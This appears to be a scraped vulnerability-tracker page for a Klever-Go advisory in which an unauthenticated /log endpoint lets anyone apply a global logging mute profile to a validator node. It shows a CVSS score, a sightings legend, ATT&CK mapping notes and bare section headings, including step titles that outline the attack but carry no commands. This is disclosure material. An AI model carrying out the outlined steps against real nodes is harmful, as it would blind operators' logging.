  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Klever-Go: /log controls global node logging"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-86064 (GCVE-0-2026-86064)

FKIE_CVE-2026-86064

GHSA-9V8P-FRVJ-2PCM

Vulnerability details

Affected code

Root cause

Reproduction steps

Environment

Step 1: Build and run a local validator from source

Step 2: Confirm normal node logging before the attack

Step 3: Connect to /log without authentication and apply a global mute profile

Step 4: Observe the validator accepts and applies the unauthenticated profile

Step 5: Observe logging is suppressed while the attacker connection remains open

Step 6: Observe the profile is restored only after the attacker disconnects

Impact

Recommended fix

Immediate

Short term

Long term

Tags

Sightings

Nomenclature

Related by attack behaviour

Step 3: Connect to `/log` without authentication and apply a global mute profile